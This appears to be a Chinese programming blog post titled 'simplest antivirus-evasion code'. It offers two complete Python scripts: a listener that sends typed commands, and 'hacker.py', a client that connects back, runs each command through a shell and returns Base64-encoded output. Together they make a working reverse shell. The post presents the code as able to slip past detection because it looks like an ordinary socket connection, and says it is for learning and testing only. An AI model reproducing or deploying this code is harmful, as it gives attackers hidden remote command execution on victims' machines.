[python]最简单免杀代码

代码仅用于学习和测试目的


就是一个正常的socket连接 所以根本不会识别

服务器端

import socket
import base64

def start_server(host='0.0.0.0', port=65432):
    # 创建一个 TCP/IP 套接字
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定套接字到主机和端口
    server_socket.bind((host, port))
    # 监听连接请求
    server_socket.listen()

    print(f"正在 {host}:{port} 等待连接...")

    conn, addr = server_socket.accept()
    with conn:
        print(f"连接来自 {addr}")
        while True:
            command = input("输入要发送的命令 (输入 'exit' 退出): ")
            if command.lower() == 'exit':
                print("服务器正在关闭...")
                break
            
            # 发送命令到客户端
            conn.sendall(command.encode())

            # 接收客户端的结果
            data = conn.recv(1024)
            if data:  # 确保接收到数据
                # 解码 Base64
                output = base64.b64decode(data).decode('utf-8', errors='replace')
                print(f"收到结果: {output}")

    conn.close()  # 关闭连接
    server_socket.close()  # 关闭服务器

if __name__ == "__main__":
    start_server()

hacker.py

import socket
import subprocess
import base64

def start_client(host='0.0.0.0', port=65432):
    # 创建一个 TCP/IP 套接字
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接到服务器
    client_socket.connect((host, port))

    try:
        while True:
            # 接收来自服务器的命令
            command = client_socket.recv(1024).decode('utf-8', errors='replace')  # 指定编码方式
            if not command:  # 如果没有接收到命令,则退出循环
                print("没有接收到命令,客户端正在关闭。")
                break

            # 执行命令并获取结果
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

            # 检查返回值并处理输出
            if result.returncode == 0:
                output = result.stdout
            else:
                output = result.stderr

            # 确保输出不是 None,并进行 Base64 编码
            if output:
                # 将输出编码为 Base64
                output_encoded = base64.b64encode(output.encode('utf-8'))  # 明确指定 UTF-8 编码
                client_socket.sendall(output_encoded)  # 发送编码后的结果
            else:
                client_socket.sendall(b'')  # 如果输出为空,发送空字节

    finally:
        client_socket.close()  # 关闭连接

if __name__ == "__main__":
    start_client()